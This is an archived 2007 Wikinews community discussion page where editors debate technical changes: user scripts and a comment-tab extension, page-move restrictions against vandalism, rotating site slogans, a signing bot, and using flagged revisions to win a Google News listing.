 * I'm working on getting one running now. My testserver seems to be working, and if there are no big objections should be usable in the next few days. Matt | userpage|contribs 00:37, 6 October 2007 (UTC)
 * Ok. Sounds great! We will have to invite long time admins that edit regularly (eg. Brianmc, me, etc.) and users that we trust (eg. you). How can we make it so you can only login to the channel if you are invited?  —Fellow Wiki  Newsie 15:55, 6 October 2007 (UTC)


 * I'd be a bit concerned about the openness. Really, discussions about Wikinews should be conducted on Wikinews to ensure there is an account and to make it easier for the community as a whole to be aware of goings on. IRC is okay and has benefits but I wouldn't want to go much further than that. Whilst there is nothing to stop Wikinews editors talking privately, I don't think it is appropriate to make anything official to facilitate this and would note that even the IRC channel is not considered official. Stuff about Wikinews should, on the whole, be on Wikinews. Adambro 22:36, 6 October 2007 (UTC)


 * Of course it would be informal. It's just another way to communicate that works more efficiently, and allows us to yell at each other with more effect that capitals has. Matt | userpage|contribs 10:11, 7 October 2007 (UTC)
 * We already talk about policy's on IRC, this is almost like IRC, but with a headset! It's just another way of communication. I am very excited about this.  —Fellow Wiki  Newsie 17:04, 7 October 2007 (UTC)

Comment tab extension
I've written an extension for the MediaWiki software which would put a comment tab onto the page without using JavaScript. I still have ideas for more that it could do (such as automatically renaming comment pages alongside the articles). It is written to use the new Comments namespace, too.

The source is here if anyone wants to check it out, or try it on their own installations. Hopefully sometime we could get something like this installed, but I have no clue how to go about getting it done. —Zac</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 12:18, 5 October 2007 (UTC)
 * My wiki currently is running this extension (see http://wiki.zachhauri.com/wiki/Test and http://wiki.zachhauri.com/wiki/Comments:Test) if you want to see what it looks like. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 12:28, 5 October 2007 (UTC)
 * Bugziila!! Thunderhead - (talk - email - contributions) 00:42, 6 October 2007 (UTC)
 * That is exactly what we need! This is a great week for tech stuff on wikinews. Stats, comments, this, rummours of dynamic on wiki RSS... Bawolff ☺☻ 01:25, 6 October 2007 (UTC)
 * Go for it :) DragonFire1024 (Talk to the Dragon) 14:44, 1 November 2007 (UTC)

hide-away portal
Darklama made a page tabing system on wikibooks (b:User:Darklama/Main_Page). S/he has asked if it would be useful on wikinews. So, big question, would it? Bawolff ☺☻ 05:57, 7 October 2007 (UTC)
 * I like it, but a few problems that would mean I wouldnt like it on a main page etc. One it relies on JavaScript, and i'm not sure it would look that good with javascript disabled. Two, the buttons arent fully clickable, only the text, which is annoying. Apart from that I love the idea. Matt | userpage|contribs 10:02, 7 October 2007 (UTC)
 * Buttons can be made click able quite easily (border:inset, ::active {border: outset}). We would have to be careful about the javascript thing though. Bawolff ☺☻ 19:51, 7 October 2007 (UTC)
 * It would need to be changed so that by default, it showed them all one above the other with the "tabs" being links to named anchors, then have the javascript change it to the current way. That would be simple enough. Matt | userpage|contribs 20:36, 7 October 2007 (UTC)

Just seeing this. The tabs consist of links to anchors on the page already. I tried to make it general enough so that the placement of the tabs, could be placed anywhere relative to the contents area, above, below, to the left or to the right, and look fine when css or javascript is disabled. Lastly so you don't have to keep guessing, I'm a he. :) --<span style="font: bold 10pt 'courier new', comic, sans, ms;"><font color="midnightblue">dark lama  22:15, 13 October 2007 (UTC)

PDF articles
We should create a single PDF for all the featured stories. We can make individual PDF's for all the featured stories, than we put a link to the PDF on the article. People can choose to read the article in PDF or on Wikinews. Or all of our news articles can have individual PDF's.  —Fellow Wiki  Newsie 19:40, 8 October 2007 (UTC)
 * This wouldn't be too hard to do with a bot, so i'll check it out. Matt | userpage|contribs 20:09, 8 October 2007 (UTC)
 * An aside on this might be, is there a place for "Best of Wikinews" as something on Wikibooks? I think the idea of a "Best of Wikinews" PDF is good. --Brian McNeil / talk 11:06, 6 November 2007 (UTC)
 * On the other hand, news is likely to have a short expiry date... --Steven Fruitsmaak (Reply) 22:31, 6 November 2007 (UTC)

Remove confirm screen for purge (anons)
Hey,

To make it simpler and less confusing for anons when they click "Refresh" (or "full list" on the ticker), i'd like to remove the "Are you sure you want to purge this page?" screen. This can be done simply by a developer, but i'd just like to see what everyone thinks first. This is reasonably necessary, as it does confuse anons.

Thanks, Matt | userpage|contribs 20:37, 8 October 2007 (UTC)
 * It would be one less steps for anonymous visitors to read the latest stories when clicking on refresh links like . I fully support. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 06:32, 9 October 2007 (UTC)
 * Never really understood the point of having that message anyways. Bawolff ☺☻ 14:18, 9 October 2007 (UTC)
 * Having lots of users purging pages puts stress on the server, and also invalidates the squids. Since we dont have that many users here and it is necessary, it seems like a good idea. I'll submit a bugzilla ticket, as noone has any objections. Matt | userpage|contribs 20:50, 9 October 2007 (UTC)
 * See Bug 11617. Matt | userpage|contribs 20:57, 9 October 2007 (UTC)

Monobook script not working
I just copied over a script into my monobook.js file straight from my Meta page. However, it isn't working. It's the exact same code (I use the same code on Commons and en.wp as well), and I've refreshed my browser repeatedly (Safari 3.0 on a Mac). I even logged into Wikinews for the very first time from Mozilla, theoretically bypassing any caching issue, but it didn't show up there, either.

The script adds a new item to the top right list of links that is available on any page from an accesskey of "1". Very handy little script, which is why I use it for reference pages (such as w:User:EVula/admin or m:User:EVula/ref). I'm attempting to do that here, too, but it just isn't working. EVula // talk // 02:08, 9 October 2007 (UTC)
 * My monobook.js has also been malfunctioning lately. I'll try to correct it. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 06:33, 9 October 2007 (UTC)
 * Change addOnloadHook to addLoadEvent. It's named differently here. Matt | userpage|contribs 06:55, 9 October 2007 (UTC)
 * It should be working now. —<b style="color:#1780bb">Za</b><b style="color:#084d83">c</b><b style="color:#003366">h</b><b style="color:#0e448d">a</b><b style="color:#1c55b5">ry</b> talk 07:24, 9 October 2007 (UTC)
 * Sweet, just refreshed the .js page and now it shows up. Danke. EVula // talk // 13:51, 9 October 2007 (UTC)

New Ticker
I have written another ticker, this time to change an entire lead. The idea is, set the second lead to show every story thats decent and original (as in, not one of the ontario votes ones, as thats one in a big series and none are really leadworthy). You can see the code at User:Matt/bigtick.js, and add the bigtick script to your monobook.js out of my monobook.js. You can then preview it at User:Matt. The source for leads is Template:Second lead/ticker. Opinions? Matt | userpage|contribs 23:05, 15 October 2007 (UTC)
 * Well, no one has commented :( I personally think this is a great idea.  —Fellow Wiki  Newsie 16:53, 26 October 2007 (UTC)
 * I just looked at this now (sorry I took so long). It looks like a good idea, but i found the transition a bit sudden. for something like this to work well it needs to have a smooth transition (how one would go about making a smooth transition, i don't really know). Bawolff ☺☻ 23:45, 22 December 2007 (UTC)

Comments pages disappearing?
The comments pages for a bunch of articles seem to have disappeared recently. For example, I remember this article had a bunch of comments, but now there aren't any. Does anyone know what is going on? Matt Streeter 11:30, 29 October 2007 (UTC)
 * There's a coding fault somewhere that's been introduced when we got a new namespace for comments. At the moment another bug is that you can't get to a talk page without editing a URL - at least in main namespace. --Brian McNeil / talk 11:40, 29 October 2007 (UTC)
 * Yeah, I just saw the tab and posted a comment and promptly lost track of where the statement actually went. EVula // talk // 21:59, 29 October 2007 (UTC)

Problematic page move vandalism, revisited
We continue to be troubled by vandals moving pages to offensive titles. Numerous users have been blocked and a checkuser has been carried out resulting in IP blocks but this has failed to address the issue. Back in August, I suggested we considered restricting the ability of new users to move pages for a set number of days after registering an account.

There was some support for my proposal but there were also some valid concerns raised. The ongoing nature of this vandalism, I would suggest, requires us to take some difficult steps.

Of course, this won't stop this problem and it will in some instance inconvenience valid new users, but I think this is an appropriate response to the level of nuisance being caused by this. A delay between registering and being able to move pages should act to discourage this vandalism and make it more inconvenient.

A possible means by which we can reduce the impact and inconvenience that valid new users will feel in response to this would be to provide a link to a template, similar to the Template:Editprotected template by which new users can request page renames, when they attempt to move a page.. This would be used to display the request on Admin action alerts and the newsroom where other users can move the page as appropriate.

See here for the previous discussion which I've marked as closed in order to ensure discussion continues in one place.

I understand this change can only be performed by developers. I propose a vote to aid them to determine consensus if we get to the point of asking them to change this. The time period on Wikipedia I understand is four days, I suggest we use this as well but invite discussion of this point as well. Adambro 21:39, 1 November 2007 (UTC)

Votes

 * . Adambro 21:39, 1 November 2007 (UTC)
 * there are better ways of handling this. Its a simple matter of reverting, blocking, and ignoring. Normal users can revert page moves as well, so no problem with not enough users to revert. Matt/TheFearow | userpage|contribs 21:53, 1 November 2007 (UTC)
 * We shouldn't have to be wasting our time dealing with this, and these titles are very offensive and are likely to put off users who see them. We should try to find a cure for this, rather than continuing the endless cycle of reverting and blocking which isn't solving this. Adambro 21:58, 1 November 2007 (UTC)
 * Theres a difficult balance between user-friendlyness and security, in this case I believe its necessary to have new contributors be able to move. Matt/TheFearow | userpage|contribs 22:41, 1 November 2007 (UTC)
 * What about trying to get some type of blacklist extension for page names, as exist for usernames instead? This could help prevent renaming pages to inappropriate names while still allowing new users to move pages. Experience with other wikis suggest adding some limit that restricts new users from being able to move pages awhile, only inconveniences good faith users and doesn't really prevent vandalism. --<span style="font: bold 10pt 'courier new', comic, sans, ms;"><font color="midnightblue">dark lama  23:52, 1 November 2007 (UTC)
 *  —Fellow Wiki  Newsie 21:56, 1 November 2007 (UTC)
 * - I can't really see a need for a newly-registered user to rename a page, and the scant instances where this might be productive can likely be handled with Talk page requests. --David Shankbone 23:29, 1 November 2007 (UTC)
 * Four days before you can rename a page will be really offputting the first time a new user makes a spelling error or puts a typo in a title. This is a news site, if we implement any such restriction it should be a matter of hours, not days. --Brian McNeil / talk 09:45, 16 November 2007 (UTC)

Comments
Provisional - I would like to support a provisional change that would expire once we have more active members. Right now we have too few admins/active users to keep up with the vandalism, that I think this is merited, but I would prefer for there to be a sunset clause in the proposal. --David Shankbone 22:20, 1 November 2007 (UTC)
 * Certainly I would agree that we shouldn't keep restrictions like this in place any longer than is necessary. How we would implement a sunset clause I am unsure however. Like anything on WN, this can be constantly up for review and discussion and when appropriate the restrictions can be removed. Adambro 22:27, 1 November 2007 (UTC)

I was under the impression this was already the case. Bawolff ☺☻ 23:13, 1 November 2007 (UTC)
 * No, I thought that too. What you're confused with is, that new users can only edit the main page leads after four days. That is very similar to this proposal.  —Fellow Wiki  Newsie 23:20, 1 November 2007 (UTC)
 * Just tested this to make sure and can confirm there is currently no restriction in place. Adambro 23:21, 1 November 2007 (UTC)
 * Thats weird. I remember having discussions on irc with somebody long ago (aka before semi-protection I think) explaining that they couldn't move pages for a couple of days after registering. Must be imagining things. Bawolff ☺☻ 00:42, 2 November 2007 (UTC)

(Deletion log); 23:20. . Adambro (Talk | contribs | block) (deleted "Test by adambro who will delete this shortly": Test complete) (Deletion log); 23:19. . Adambro (Talk | contribs | block) (deleted "Test by adambro: new user just moved page": Test complete) (Move log); 23:18. . PageMoveTest (Talk | contribs | block) (Test by adambro who will delete this shortly moved to Test by adambro: new user just moved page) (User creation log); 23:17. . PageMoveTest (Talk | contribs | block) (New user (Block))  —Fellow Wiki  Newsie 01:07, 2 November 2007 (UTC)


 * Comment, I believe the correct approach here is not to prevent page renames as there are some awful titles people start articles under. It is likely the work of one person and when it recurs a CheckUser should be done and a complaint filed with the appropriate ISP. If I recall correctly from one of the CU's I did to appropriately block an instance of this it was an ISP proxy, so there were good contributions as well as the vandalism. If the ISP can be persuaded to set their proxy to forward originating IP addresses then more fine-tuned blocks can be implemented. --Brian McNeil / talk 09:37, 16 November 2007 (UTC)

Technorati
Our stuff does not show up on Technorati. --David Shankbone 21:56, 8 November 2007 (UTC)
 * We used to (and I mean we directly showed up, not the blog/mirror). Bawolff ☺☻ 00:03, 9 November 2007 (UTC)
 * I tried searching and nothing came up. --David Shankbone 00:19, 9 November 2007 (UTC)
 * I noticed you put the ping template on the Dalai Lama rep story, for some reason it didn't seem to work. --Brian McNeil / talk 09:47, 16 November 2007 (UTC)
 * The ping template is a bit old (one of my first edits was to ask what it was for). Perhaps the procedure for pinging stuff has changed. Bawolff ☺☻ 20:55, 16 November 2007 (UTC)


 * Actually, I was never able to convince Kevin Marks to modify his spider specifically for MediaWiki software, and so Dan100's solution was used instead and quite successfully. <span style="font: italic 10pt/12pt cursive;"> Amgine | sw 05:04, 18 December 2007 (UTC)

Page move issue
I just noticed that, as a regular registered user, I cannot move a protected page, but I can (supposedly) move it's associated talk page. Surely this is a bug... - dcljr 21:56, 13 November 2007 (UTC)
 * Well if we protected the talk page then you wouldn't be able edit it at all. --SVTCobra 22:05, 13 November 2007 (UTC)
 * Not true. We could just move-protect the talk pages (and comments), which would seem appropriate. Maybe this should be added to the archiving guide? Matt/TheFearow | userpage|contribs 20:14, 14 November 2007 (UTC)
 * Hm, yes, that actually seems like a really good idea. AWB or other bot could do that, right? --SVTCobra 21:18, 16 November 2007 (UTC)
 * Oh, and when you request changes to protected pages, please add to the talk page. Then it shows up on a list for admins. --SVTCobra 22:07, 13 November 2007 (UTC)

I have started and flagged a discussion on the Archive Convention talk page. Please comment there and vote to have the Talk/Opinion page move-protection added as official archiving policy. Jcart1534 19:17, 15 December 2007 (UTC)

Rotating slogans
Where is the list that the "From Wikinews" rotating slogans are being generated from? It needs some editing to cull a few that are too long and we need to have a discussion about what is appropriate. --Brian McNeil / talk 13:33, 14 November 2007 (UTC)
 * It's only enabled for some users who have enabled it themselves, so it's not official. For now, it's mainly to see that it will work. Although i'd be happy for there to be a discussion on whether we should enable it globally. The script is at User:TheFearow/randomad.js, and the ads are at User:TheFearow/ads.js. When removing ads, remove the entire line, and be careful when adding ads (make sure you dont use any " or ' characters, etc). If you dont know javascript or another similair language, probably easier to ask someone else to do it. Matt/TheFearow | userpage|contribs 20:12, 14 November 2007 (UTC)
 * The main niggle with it is the long messages. When one of these pops up the entire page jumps down to accommodate the extra line and jumps back up when displaying the next short message. It has done that to me about 3 times as I've typed this message. --Brian McNeil / talk 14:07, 15 November 2007 (UTC)
 * I edited out the long ones, problem solved. --Brian McNeil / talk 09:50, 16 November 2007 (UTC)
 * Great. I use widescreen most of the time, so I didnt notice. Matt/TheFearow | userpage|contribs 21:05, 16 November 2007 (UTC)

I think we need one slogan. at least for a good deal of time. We need not confuse newcomers or whatnot with what we are. So I think a list of 40 slogans is quite extreme.

Current, struck as removed. Vote reinstate if you oppose
Okay, I'm not sure all of the slogans are good enough. Here's the current list


 * 1) Think you can do better? There's a button that says edit this page.
 * 2) We break the news. The mainstream media don't
 * 3) Drink from the fountain of knowledge, don't just gargle
 * 4) We are all journalists
 * 5) Global audience. Local reporters
 * 6) Factual and Free
 * 7) Make effective use of your keyboard and tell the world what's going on
 * 8) Ask not what our website could do for you, but what you could do for the website
 * 9) No matter how much you know today you will need to know more tomorrow
 * 10) Sick of spin and bias? Join us!
 * 11) Everybody is a journalist
 * 12) If you live in interesting times, then tell us about it
 * 13) For the news they are a-changin
 * 14) The right to know, the duty to share, the intelligence to understand.
 * 15) You write, you report, Any comment?
 * 16) Figuring out what news is important.
 * 17) Making news newsworthy.
 * 18) Making news a two-way process.
 * 19) We're you.
 * 20) Power to the people!
 * 21) You'll remember a great news story, long after you've left.
 * 22) Everything that makes a great news site.
 * 23) The free news source you can write!
 * 24) News with an international perspective.
 * 25) Your news, our news, Wikinews
 * 26) It's written by you
 * 27) For the people, by the people - yes YOU
 * 28) Not Fox News, not BBC News, Wikinews
 * 29) YOU can fix us
 * 30) All your articles belong to us!
 * 31) When the levee breaks, the story is gonna get told
 * 32) You have the right to remain silent, but we'd rather you didn't
 * 33) It's Actionwitness News!
 * 34) Because Wikipedia is not a news source
 * 35) Write on me, I am not timid
 * 36) When the world ends, you'll hear about it
 * 37) Drink from the cup of community knowledge
 * 38) The only news source where you can report on news at 3:00am
 * 39) Pyjama journalism done professionally
 * 40) Global or local, report on what interests YOU


 * I think this conversation should be merged into User:FellowWikiNews/Tagline. Bawolff ☺☻ 19:50, 18 November 2007 (UTC)

Additional suggestions

 * Add additional, but bear in mind from the above that they must be kept fairly short.


 * 1) The only freely licensed collaborative news source, without the opinions. DragonFire1024 (Talk to the Dragon) 19:44, 18 November 2007 (UTC)
 * [cough] Stuff from wikinews ads, and Wikinews ads/random (There is 70 there in total, not all of them are appropriate). Bawolff ☺☻ 19:50, 18 November 2007 (UTC)
 * If you say "without the opinions" that seems odd because we have the Comments namespace. How's about "without editorial bias"? --Brian McNeil / talk 21:40, 18 November 2007 (UTC)

Slogans we should drop

 * List any you feel should be dropped here, note the number/section, and text.


 * 33 - It's Actionwitness News!.
 * delete Someone else's slogan I think. --Brian McNeil / talk 10:17, 18 November 2007 (UTC)
 * Not Fox News, not BBC News, Wikinews
 * delete, just not good. --Steven Fruitsmaak (Reply) 10:56, 18 November 2007 (UTC)
 * Pyjama journalism done professionally
 * delete, don't think we want to come off as pyjama journalists, sounds quite pejorative to me. --Steven Fruitsmaak (Reply) 10:56, 18 November 2007 (UTC)
 * Delete Yeah, drawing similarities to negative concepts, even to say "look at what we're not", is a bad idea for a slogan. You won't see Pepsi saying "Look, we're not Coke!" ;) EVula // talk // 19:22, 18 November 2007 (UTC)
 * Because Wikipedia is not a news source
 * delete True but irrelevant. If someone isn't that familiar with us and they see us the only reaction to that is going to be "huh?". It says more about Wikipedia than it does about Wikinews. 69.37.140.122 19:34, 18 November 2007 (UTC)
 * Wikinews: Figuring out what news is important
 * Delete We don't do that.  —Fellow Wiki  Newsie 21:32, 18 November 2007 (UTC)

Discussion
The idea was to have a bit of fun, and add some more things to liven up the page. If people want to make this enabled globally, feel free, but it wasnt intended for that so may have some bugs. I'd make a better one if its wanted. Matt/TheFearow | userpage|contribs 03:34, 19 November 2007 (UTC)
 * If you double the length of time it displays for and get the odd "undefined" bug sorted I think this would be a good thing. I'd say we need to drastically cull if we introduce globally, say down to 5-10 slogans, new slogans should need overwhelming support. --Brian McNeil / talk 19:29, 7 December 2007 (UTC)

Comments namespace added to watchlist
Hi techies,

would it be possible to configure MediaWiki so that if you watch an article, the Comments page is also automatically put on your watchlist? This is done for the talk page at the moment, when you watch an article you get talk page changes as well, but I think Comments: namespace should be added too.

--Steven Fruitsmaak (Reply) 10:52, 18 November 2007 (UTC)
 * Umm maybe with some javascript, I'm not sure. I'll have to look into that sometime. Bawolff ☺☻ 19:46, 18 November 2007 (UTC)


 * I've kept meaning to bring this up. If the devs could do it for talk pages, sometime when God was a boy and Ozzy was middle age, then surely they can do the same for comments pages? Or am I being naieve? Blood Red Sandman  (Talk)   (Contribs) 20:19, 18 November 2007 (UTC)
 * Alrighty, I put together a quick script to make this work. It is really ugly, and won't work on IE (and probably a couple other things) . If you click watch it will add the comments page to your watchlist. (It will say a message under the sitenotice). It will do this when watching any article in the main namespace (but not in talk ns or any other ns) It will not unwatch pages for you. I plan on making a much better script at some later date that does everything in the matter you'd expect it to on all modern javascripting browsers.

Add to special:mypage/monobook.js ( or whatever skin you use) Bawolff ☺☻ 23:02, 18 November 2007 (UTC)
 * Also now works in internet explorer and can be enabled in the gadget section of special:preferences the other way (special:mypage/monobook.js) still works as well). Bawolff ☺☻ 23:49, 22 December 2007 (UTC)

Discussion mode
I just saw this cool way of formatting discussion that is used on the French Wikinews: Talk page. Different levels of replies are marked in yellow, it's quite easy to follow. Is this something we want to steal from them? --Steven Fruitsmaak (Reply) 22:36, 20 November 2007 (UTC)
 * I must say that is a creative use of CSS. Personally i find it a little hard on the eyes (I'm sure it can be tweaked however). For reference, it is accomplished by

In fr:mediawiki:monobook.css. However based on my tests it should work on all skins, not just monobook. If you want to test it out for a while to see what its like using it all the time, you can add the above to your special:mypage/monobook.css (or equiv for skin you use). Bawolff ☺☻ 23:20, 20 November 2007 (UTC)
 * You can now enable this via special:preferences &rarr; gadgets. Bawolff ☺☻ 00:11, 23 December 2007 (UTC)

OTRS ticket 2007112110006939
It has been brought to my attention that Portal:Asia is displaying an old story from March (LTTE one). Investigation reveals the problem is due to vandalism that removed the sources section and the publish tag.

Is there any way we can adjust the DPL there to prevent this? Is there any measures can be taken to remove the article from the DPL? (I have no serious ideas on this, deleting the article and restoring all but the last 2 edits might fix it, but I am doubtful. Oversight? Technically not an appropriate case for it, but I'd have more hope of that clearing the DPL.) --Brian McNeil / talk 09:24, 21 November 2007 (UTC)


 * Just tried the deletion and restoration procedure with no success, I am unsure how oversight would make any difference so I don't think it is worth trying. The problem is that the DPL is displaying the article on the basis that it was recently added to the appropriate category so oversight will not work either. Perhaps we could do with DPL modifying in some way so it sorts by the date category that the article is in (i.e Category:March 26, 2007). Adambro 13:01, 21 November 2007 (UTC)
 * Adam, as much as anything my posting here was for passing on to the person reporting the problem and showing them we do take it as an issue. I explained in the response it was a technical problem and perhaps beyond our ability to easily control. --Brian McNeil / talk 13:37, 21 November 2007 (UTC)

What the heck happened to the RSS
The RSS is displaying old stories. What happened???  —Fellow Wiki  Newsie 16:12, 21 November 2007 (UTC)
 * The stories are from November 13 down to November 4. None of todays stories are being displayed. We need to fix this ASAP.  —Fellow Wiki  Newsie 16:24, 21 November 2007 (UTC)
 * Fixed. I forgot to re-enable the cron entry for it. In the next few days/weeks it will be moved to the tool server and it should have fewer problems as well as become more flexible--Cspurrier 22:05, 24 November 2007 (UTC)

SineBot now active
Just a quick heads up, SineBot is now active. I had to give it a little tweak to make it recognize IP signatures, since they use Special:Contributions, but now everything should be okay.

It will monitor all talk name spaces as well as the Comments and Comments talk name spaces. I also created the same categories and templates it uses on Wikipedia on here as well with the exception that I used UnsignedAuto instead of Unsigned, since I don't want to break whatever current stuff you might have set up. It might be a good idea to indef. semi, , and due to the potential for vandalism (since the bot substitutes these templates). It didn't look like you had a, so I made that as well.

You can play with it at User:SineBot/Sandbox if you would like. I set its RC polling interval at 60 seconds (since it seems low-traffic for now) and its RC delay at 90; so, the bot will wait 90 seconds (or as much as 90+60 = 150) to sign a comment that hasn't been signed. Lemme know if you would like that increased or decreased. Cheers =) -- slakr  \ talk / 17:58, 21 November 2007 (UTC)
 * I have permanently semi-protected the articles (with full protection for moves). One suggestions, you could use (changing the message name) on bot startup to get the exact text used for the message, so it doesnt have to be changed to handle interface text changes. You could even use it alongside ]%20moved%20to%202] to get the HTML which would be generated. Of course youd need to send the output of the first to the second (replacing parameters along the way) to get exactly whats needed, but it'd probably work. Although just configuring it for each site will work :) Matt/TheFearow | userpage|contribs 04:40, 22 November 2007 (UTC)

Microsummary
There is a feature in firefox that allows a site to provide a microsummary for the title of a bookmark, essentially a name for its bookmark that magically changes with changes from the website. We could use this to make our bookmark be Wikinews &mdash; <Main lead title> which would change when we changed the main lead. (note user has to explicitly select it when bookmarking. its not automatic) For example, Wikicharts uses it (although their version is slightly broken, it only works for DE WP). If you bookmark the stats page, you can set Firefox to display the bookmark title as the contents of the microsummary page here. Anyways we could do this for the main wikinews site. Preferably we'd want one that automatically updates, however I think that requires sending an xslt stylesheet with proper mime types (something we can not do on wiki, depending on how strict firefox is with mime types. we could do that on the toolserver though). Alternatively, we could manually update a subpage of the main page as the Microsummary (using &action=raw in its url). For more info on microsummary see http://wiki.mozilla.org/Microsummaries for more information on them. So is this something we want to do? Bawolff ☺☻ 07:17, 26 November 2007 (UTC)
 * P.S. We can also make a microsummary generator into a link (I think anyways) that the user can click on to install. This link could be on other websites as well, so we can have people who like us have links on their website saying, get the autoupdated bookmark of wikinews. Bawolff ☺☻ 07:17, 26 November 2007 (UTC)

The perennial Google News listing issue
As some people may be aware, the Flagged Revisions modification is supposed to be getting tested on the German Wikipedia. In some discussion on the ComCom mailing list the concern was raised that this potentially introduces editorial liability for the Foundation. Most would dismiss this, provided it can be shown that who gets the right to flag a revision is a community decision - not a Foundation decision. Those liable would be the ones with the buttons. However.... editorial liability is something Wikinews needs to get into Google News.

The alternative that has been suggested to me is persuading the Foundation to let us have blog.wikinews.org - again with a community selected editorial group, this would be effectively transferring the existing listed blog over to one that would get better ranking in results.

What are people's thoughts on this? --Brian McNeil / talk 09:53, 1 December 2007 (UTC)
 * blog.wikinews.org sounds, well for lack of a better word, to bloggy. How about static.wikinews.org (that is, if we're going to go that route). Bawolff ☺☻ 20:19, 1 December 2007 (UTC)
 * It would be a blog though, and not static if the posts are to be updated as the story develops. "Static" is already used for the static HTML dumps which are just the wiki pages but in uneditable HTML form. Angela 21:45, 1 December 2007 (UTC)
 * perhaps stable would be a better word then, its still updated, but its the stable version of the article
 * I'm still unable to comprehend any reasons for not implementing FlaggedRevs on en.wikinews. This would give us a range of "stable" articles, which will hopefully give us some grounds on Google News (it's basically an editorial process and introduces a form of "editorial liability" - the flaggers will decide what is seen and what is not, ultimately). It would reduce vandalism when vandals realise that their edits won't go immediately live to the majority of users (anonymous). It gives us that more "authentic" news website feel (a team of Wikinewsies - maybe not even made up entirely of sysops / accredited reporters - are keeping the visible content stable, while the editors can fix the article, have edit wars, and change it in the background - thus not disrupting those who just want to read the news), yet doesn't exclude anyone who wants to get involved in the editorial process (whereas a static site outside of the Wiki would alienate the majority of users who do not have access to edit / update the stories that are posted there). --Skenmy(t•c•w•i) 22:32, 1 December 2007 (UTC)
 * I have emailed Erik and asked him to comment either by replying or posting here. If anyone reads German and can invite people from de.wikipedia who know more about the Flagged Revisions development to comment I'd appreciate it. I would like to have some idea of the flexibility of the implementation with a view to proposing how we formulate a list of editors with the privilege (nominations? Voting? Standards? Minimum requirements? guidelines for flagging?). I believe we can find some method whereby we can reach an agreement with Google to get listed. Another aspect of this is who we approach at Google, and how we present this to them. We need a degree of flexibility in our FlaggedRevs Editorial process and we may need to make sure that flagging details are passed on in the live feeds that Google and other search engines buy from the foundation.
 * I'd like to get past this before moving on to an equally - if not more - complex issue, which is how we can competently collaborate on stories where we may not divulge information before a specific date/time. --Brian McNeil / talk 18:16, 2 December 2007 (UTC)
 * If we do do this, I believe the bar should be very low to get privs. Basically if you've been arround for a week and shown you know how make an edit, you should get it. Bawolff ☺☻ 20:36, 2 December 2007 (UTC)
 * I don't think that would wash with Google and it would be too easy for a troll to patiently make small positive contributions to get access to vandalise our entries as seen by Google news. --Brian McNeil / talk 20:47, 2 December 2007 (UTC)
 * I got the impression that FlaggedRevs on the Dutch Wikipedia is basically an Autoconfirm issue, simply because Wikipedias have such a large number of editors and they want to be liberal about it. I still think we should find a solution for Google News on a separate static but updatable site, implementing FlaggedRevs on just the basis of Google is not worthwile to me.--Steven Fruitsmaak (Reply) 21:48, 2 December 2007 (UTC)
 * Just to throw an idea out there, How about some sort of blog integrated into wikinews. Stories can be accessed by a special page - special:stable/Your story here which is essentially a shortcut to a whatever the latest approved revision of the story is without all the warnings you get browsing through the history. (perhaps just a small note on the top: This is the stable version, see the latest here).
 * Here is how it'd work:


 * 1) Someone writes a story
 * 2) It becomes published. when a story becomes published, a privledged wikinewsie (who that is doesn't matter, probably just trusted users) also uses a special page say special:make stable to fill out a form containg the page revision the article name, the stable article name and the revision of the unstable article
 * 3) special:stable/story name becomes a link to that story. special:stable could potentially be a version of main page displaying links to the stable version.
 * 4) If updates occur person can use special:make stable to update the revision # of the stable version (we could even use template magic to mark when stable and unstable become out of sync)
 * Of course, flagged revisions, and the blog solution exist, and are therfore easy to implement, so perhaps they would be better, as someone would have to make this, but I thought I'd just share the idea. Bawolff ☺☻ 00:31, 3 December 2007 (UTC)


 * I'd like to point something out here that people who are arguing for a low bar need to take into account. Can you afford a lawyer's letter? This is taking editorial responsibility for what Google lifts from us. I'd seriously advise anyone who lives in the U.K. to ask Ian Hislop how much it costs to be sued for libel. Anyway, I've stirred this one up on the foundation mailing list to since this discussion is glacial. --Brian McNeil / talk 19:10, 4 December 2007 (UTC)
 * Good point. Bawolff ☺☻ 03:45, 5 December 2007 (UTC)

Conclusions from discussion on foundation-l mailing list
The initial response from foundation-l was to somewhat balk at the term "editorial liability", with much discussion this aspect was closed off with the clear aspects that (a) provided the process is implemented in a manner similar to admin priv granting then the Foundation will not become liable. (b) The implementation of the process can likely meet Google's requirements without introducing risk to those who sign up to do flagging, but they should check their local laws and consider that it isn't just the U.S. laws they have to take into consideration.

With regards to use of some static site or blog, I have objected to this for a number of reasons. First and foremost to me it is not what I believe we should be aiming for. There are technical considerations, and whilst I am well aware a blog could be set up with a one-click update it won't bring us new contributors and it will not be laid out in any sort of format similar to here. Another aspect of that is ranking within Google; our Water Cooler would likely have a higher pagerank than any blog we set up. Wikipedia will never link to the blog, but they'll link here.

Erik has given some support to Wikinews being among the first projects to get flagged revisions. Regrettably his contacts with Google from when he tried to get the site listed are now stale. I have hinted I'd like more recent contacts passed to me from anyone on the foundation-l list that has them, including Jimmy Wales. Jimmy, at the moment, is either on a plane or somewhere in Europe (last known position UK).

I consider this the next logical step for Wikinews. Once listed in Google we will be the go-to site for events like the London Bombings, Virginia shootings, and Benoit incident. We'll finally be listed above all the advert-laden sites that copy bits of our coverage and add stuff from the wire. For the relatively rare instances where we beat the mainstream to publication they'll see that - and our name.

My conclusion is we need to start working on a proposal about how we get this in place. Unless of course someone can come up with a compelling reason why we should not adopt this enhancement. We will need policy on how the people who have flagging rights are decided, perhaps by seeding the list from accredited reporters with more than 500 main namespace edits on this wiki and good command of English. [aside: This deliberately excludes BrockF5 and some of our newer accredited reporters, but is not intended to be any reflection on their ability to contribute, and perhaps get the right on their home wiki when it is introduced.] First and foremost this must be a volunteered for position. It isn't going to be a privilege and potentially has liabilities associated with it. If you write a story and flag it you'll be doubly liable. As an offshoot of this we must have working, regularly checked, contact details for everyone with the button. These need not be on-wiki and I am sure we could work something out with Cary in the office for those concerned about privacy.

